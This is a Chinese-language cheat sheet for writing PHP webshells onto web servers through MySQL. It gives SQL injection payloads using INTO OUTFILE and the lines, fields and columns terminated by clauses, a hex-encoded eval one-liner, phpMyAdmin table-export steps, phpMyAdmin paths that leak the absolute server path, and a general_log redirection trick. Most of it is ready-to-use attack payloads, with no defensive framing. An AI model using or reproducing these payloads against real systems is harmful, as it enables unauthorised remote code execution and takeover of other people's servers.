sql语句利用into outfile写入一句话

利用需要的条件有:
1、对web目录需要有写权限能够使用单引号
2、知道绝对路径
3、没有配置-secure-file-priv(在mysql的配置文件中需要有一句 secure_file_priv=” ,没有的话自行添加或修改)
检查Mysql这个参数的值:show variables like ‘%secure_file_priv%’; 默认路径:/var/lib/mysql-files/

当知道路径时,可以直接用?id=1 union select “<?php @eval($_POST[‘123’]);?>” into outfile “C:/phpStudy/WWW/a.php”
?id=1 union select 1,0x223c3f70687020406576616c28245f504f53545b2767275d293b3f3e22,3 into outfile “E:/study/WWW/evil.php”

或者采用PHPmyadmin,选择一个数据库如test,在数据库中新创建一个表aa,在aa中插入一个数据<?php @eval($_POST[‘123’]);?>,然后用select * from aa into outfile ‘C:/phpStudy/WWW/a.php’; #将aaa中的数据导出到文件a.php

报错得到绝对路径

利用mysql数据库爆网站绝对路径方法
使用phpmyadmin的某个文件报错
phpmyadmin爆路径方法 weburl+phpmyadmin/themes/darkblue_orange/layout.inc.php
phpMyAdmin/libraries/select_lang.lib.php

常见写入方式


union select 写入:
1’ union select 1,2,’<?php @eval($_POST[cmd]);?>’ into outfile”C:\phpStudy\PHPTutorial\WWW\shell.php” —+ 1’
union select 1,2,’<?php @eval($_POST[cmd]);?>’ into outfile “C:/phpStudy/PHPTutorial/WWW/shell.php” —+
注意:在windows下,位置的分隔符为 / 或 \。


lines terminated by 写入:
id=1’ into outfile ‘C:/phpStudy/PHPTutorial/WWW/shell.php’ lines terminated by ‘<?php @eval($_POST[cmd]);?>’ —+
id=1’ limit 1 into outfile ‘C:/phpStudy/PHPTutorial/WWW/shell.php’ lines terminated by ‘<?php phpinfo() ?>’ —+
通过select语句查询的内容写入文件,也就是 1’ into outfile ‘C:/phpStudy/PHPTutorial/WWW/shell.php’ 这样写的原因, 然后利用 lines terminated by 语句拼接webshell的内容。lines terminated by 可以理解为 以每行终止的位置添加 xx 内容。


fields terminated by 写入:
?id=1’ into outfile ‘C:/phpStudy/PHPTutorial/WWW/shell.php’ fields terminated by ‘<?php phpinfo() ?>’ —+ 利用 fields terminated by 语句拼接webshell的内容。fields terminated by 可以理解为 以每个字段的位置添加 xx 内容。


COLUMNS terminated by 写入:
?id=1’ into outfile ‘C:/phpStudy/PHPTutorial/WWW/shell.php’ COLUMNS terminated by ‘<?php phpinfo() ?>’ —+
利用 fields terminated by 语句拼接webshell的内容。fields terminated by 可以理解为 以每个字段的位置添加 xx 内容。


  1. USE mysql;# MySQL 返回的查询结果为空(即零行)。
  2. # MySQL 返回的查询结果为空(即零行)。
  3. CREATE TABLE a(
  4. cmd1 text NOT NULL
  5. );# MySQL 返回的查询结果为空(即零行)。
  6. # MySQL 返回的查询结果为空(即零行)。
  7. INSERT INTO a( cmd1 )
  8. VALUES (
  9. '<?php eval($_POST[cmd]);?>'
  10. );# 影响列数: 1
  11. # 影响列数: 1
  12. SELECT cmd1
  13. FROM a
  14. INTO OUTFILE '/data/www/heneng/cp/mm.php';# 影响列数: 1
  15. # 影响列数: 1
  16. DROP TABLE IF EXISTS a;# MySQL 返回的查询结果为空(即零行)。
  17. # MySQL 返回的查询结果为空(即零行)。

利用log写入

show variables like ‘%general%’; #查看配置
set global general_log = on; #开启general log模式
set global general_log_file = ‘E:/study/WWW/evil.php’; #设置日志目录为shell地址
select ‘<?php eval($_GET[g]);?>’ #写入shell
set global general_log=off; #关闭general log模式